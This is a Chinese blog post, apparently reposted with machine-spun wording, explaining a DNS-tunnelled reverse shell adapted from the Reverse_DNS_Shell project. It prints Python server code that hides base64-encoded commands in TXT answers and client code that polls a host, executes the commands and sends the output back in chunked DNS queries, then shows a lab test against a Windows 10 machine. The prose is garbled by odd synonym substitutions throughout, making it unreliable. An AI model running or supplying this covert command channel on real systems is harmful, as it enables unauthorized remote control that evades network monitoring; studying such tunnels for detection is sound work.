当前位置:首页 > 电脑常识 > 正文

谈谈DNS反弹Shell 8090安适门户

11-20 电脑常识

反弹Shell广泛应用于长途控制下的权限维持,通过反转攻(客户端)和受(处事端)的角色,来实现条件限制,尤其是内网情况下的长途连接。

反弹Shell的工具和实现要领多种多样,只要能够让被控端通过网络发送数据到控制端,并且实现数据的解析即可完成控制过程。

比来在继续了解网络协议,于是俄然想在DNS数据包中插入一些伪造的命令来实现解析,原来筹备本身测验考试写一个DNS处事器和DNS请求措施来实现反弹,不过刚动笔就看到了别人开源的措施,于是直接使用别人的措施来学习了。

https://github.com/ahhh/Reverse_DNS_Shell

为了运行测试更便利,去失了措施中的加解密成果,特别的Python包只需要dns和dnslib

0X02 DNS

为了关联主机和IP地点对应关系而诞生的DNS自己,不需要我在这里赘述了。跳过域名组成、盘问过程等可以轻松在网络盘问到的内容,我们直接来看看DNS的包组成

在smtp那篇文章中,我们提过一层一层洋葱状的协议包裹,在这里,我们跳过以太、IP、UDP头,直接到DNS数据的部分。

标识表记标帜着数据开始的是Tran ID段,所有的问复书息都需要必然的机制来保证对应,这部分应该就是对应机制中的一部分。

紧接着的Flags,0x0100表白了一些盘问属性。

Queries中是我们所要盘问的host,盘问类型。作为A类型盘问,得到的是host的IP,这里也是我们做手脚的处所,不过TXT类型可以插入一些附加的信息,更适合我们用来结构命令语句。

处事器回应包如下:

作为回应的Tran ID,它和盘问包不异。

Flags中标准回应标识表记标帜位

反复显示的Queries

回应的Answers信息。通过CNAME查取主机规范名,再通过规范名查取对应IP。

操作这种彼此应答的特性,我们初阶打算通过以下流程来实现我们的反弹Shell

0X03 措施

原始的措施可以在上面的github中找到,这里贴出我们去失加解密的部分措施。

先说DNS处事器的部分

 

1

2

3

4

5

6

7

8

 

def spawnShell(answer, payload):

shellInput = raw_input(PROMPT)

if shellInput == 'quit': EXIT = 1

if shellInput == '': spawnShell(answer, payload)

out = base64.b64encode(shellInput)

answer.add_answer(

*dnslib.RR.fromZone('{}.com 60 TXT "{}"'.format(payload, out)))

return answer

 

这一部分封装了对DNS的应答,payload里是被控端发来的盘问信息,也就是上一次命令执行后的回显,而out是我们这一次的命令,封装成了TXT的应答包

 

1

2

3

4

5

6

 

def recievePayload(udps):

data, addr = udps.recvfrom(1024)

dnsD = dnslib.DNSRecord.parse(data)

payload = dnsD.questions[0].qname.label[0]

answer = dnsD.reply()

return addr, payload, answer

 

这部分对付被控真个盘问包进行解析,从中获取到地点和数据,对付数据,解析出此中的命令回显,并且初始化一个应答包。

主函数中使用socket监听相关端口,对付监听到的包凭据预定流程进行措置惩罚惩罚。

再来看看被控端发送的部分

 

1

2

3

4

5

6

 

def start(host):

while 1:

a = startConnection(host)

cmd = parseCmd(a)

stdoutput = runCmd(cmd)

sendOutputToServer(stdoutput, host)

 

首先是整个流程一览,从措施中可以很清晰的看到成立连接,解析命令,执行命令,发送回显的过程。

 

1

2

3

4

5

6

 

def startConnection(host):

url = formURL(nextCommand)

request = dns.message.make_query(url, dns.rdatatype.TXT)

answers = dns.query.udp(request, host)

a = answers.to_text()

return a

 

结构的url,也就是命令回显,对付没有命令的,会返回nxt。操作回显结构盘问语句。

1

2

 

def parseCmd(a):

def runCmd(cmd)

 

这两段措施对付收到的文本格局的命令进行解析和执行,没有太多的对象可以讲。只是注意格局的截取,并且考虑对Linux和Windows的命令之间转换。

 

1

2

3

4

5

6

7

8

9

10

11

12

13

 

def sendOutputToServer(output, host):

send =''

output_end = len(output)

for chunk in output:

send += chunk

output_end -= 1

if len(send) == 58:

url = formURL(send)

dnsMakeQuery(url, host)

send =''

if output_end == 0:

url = formURL(send)

dnsMakeQuery(url, host)

 

这部分卖力发送DNS盘问,凭据与处事器约定的格局结构包并且进行发送。

0X04 测试

我们需要先执行处事器端措施,然后执行被控端措施。我的处事端措施在一台Ubuntu主机上,被控端在我的Win10机器上。

如图,是在Ubuntu上对Win10执行ipconfig命令的显示。

我们再进行抓包分析:

3

这是被控端第一次连接时发送的包,因为控制端还没有指令,第一次连接发送的是空包,此中Name的值bnh0就是我之前所说的NXT

而第二个包就是控制端发送的指令,在TXT中发送的就是指令whoami的base64编码,

可以比拟和我之前实际抓包的差别之处,比较可以看出我们在DNS包的哪些处所做过改削。

0X05 延伸

其实相关的DNS地道技术道理应该差不久不多,都是在原来应该放DNS规定信息的处所放入了其他的对象,来到达一些意想不到的功效。

固然,RFC还有许多协议可以让我随意结构去做测试,下一步考虑写一个多协议撑持的Fuzzing工具 :)

温馨提示: 本文由杰米博客推荐,转载请保留链接: https://www.jmwww.net/file/pc/12574.html

博客主人杰米WWW
杰米博客,为大家提供seo以及it方面技巧喜欢的朋友收藏哦!
  • 11365文章总数
  • 1378073访问次数
  • 建站天数
  •